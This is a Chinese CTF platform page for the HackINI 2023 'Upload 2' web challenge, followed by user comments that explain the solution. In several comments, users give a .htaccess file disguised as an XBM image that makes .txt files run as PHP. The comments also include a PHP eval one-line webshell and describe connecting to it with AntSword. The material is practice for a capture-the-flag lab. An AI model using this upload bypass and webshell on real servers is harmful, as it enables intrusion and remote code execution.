Upload 2WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2023
题目作者: 未知
一  血: Max_yiz
一血奖励: 0金币
解  决: 327
提  示:
描  述:
We used a blacklist now ... can you **access** the flag now?\n\n\n\ \ **Author**: souad
评论
lunarbyside 7月前

php被过滤了但是只有php才能运行,所以要把其他后缀文件解析为php来运行。#define width 1 换行 #define height 1 换行 Addtype application/x-httpd-php (自己定义的后缀,如.jpg) 写入.htaccess文件并上传, 才知道原来有这么一种文本类型的图片叫XBM,有用的知识增加了!

回复 1

wywitkey 8月前

1、上传.htaccess( 包含#define width #define height,这样服务器认为是一个图片文件 );2、上传一句话木马(木马文件格式根据htaccess文件中写的格式);3、蚁剑连接;4、flag.txt在根目录

回复 0

vincentshine 1年前

两点绕过,非php文件无法被执行,文件内容检查,修改apache配置文件,允许非php文件按照php文件运行执行。

回复 0

HWHHJ 1年前

逆天题目,还是能做

回复 0
HWHHJ 1月前

@miko88 上传.htaccess文件,做成一个有效的apache图像文件,你搜搜应该能找到

回复 0

miko88 1年前

上传的.htaccess和txt不在同一目录,是怎么做的啊

回复 0

toxi 1年前

只需要把文件后缀的.php换成.php5即可

回复 0

啊这这 1年前

题目非常好 不过我有个疑问 为什么我上传的shell木马中的提交参数函数必须是REQUEST还要是大写 我尝试了GET POST都不行 大写是语法只能是大写还是其他原因吗

回复 1
xiaoxiao972521 1年前

可以吧,$_GET $_REQUEST 都行,这些属于php函数,就是这个写法

回复 0

我不知丢答案 1年前

为什么我上传.user.ini文件去连的时候连不上??

回复 0

JJhello 2年前

接下面,内容为一句话木马,然后蚁剑连shell.txt的路径即可

回复 0

JJhello 2年前

上传一个文件名为 ".htaccess",注意,文件名前面没有任何东西的,文件内容为: #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 然后上传shell.txt,内容为

回复 1

samRsa 2年前

1、bp抓包上传.htaccess #define width 16 #define height 7 <FilesMatch \.txt$> SetHandler application/x-httpd-php </FilesMatch> 2、上传马 GIF89a <?php @eval($_POST['cmd']); ?>

回复 0

WriteUp

image
lolthis223

1 金币

评分(2)

解题动态

flouxtine 攻破了该题 6天前
Air51930 攻破了该题 8天前
彭彭 攻破了该题 11天前
Paradiso 攻破了该题 16天前
hbynb 攻破了该题 19天前
aboic 攻破了该题 20天前
0o01I 攻破了该题 22天前
dongyin 攻破了该题 24天前
hengdonghui 攻破了该题 25天前
eason2023 攻破了该题 27天前
zrc2682 攻破了该题 28天前
Ethan552525 攻破了该题 28天前
billyjames 攻破了该题 29天前
out不慢 攻破了该题 1月前
星期日 攻破了该题 1月前
18042157087 攻破了该题 1月前
minz 攻破了该题 1月前
ndaygril 攻破了该题 1月前
wyyyy 攻破了该题 1月前
6973lb 攻破了该题 1月前
问题反馈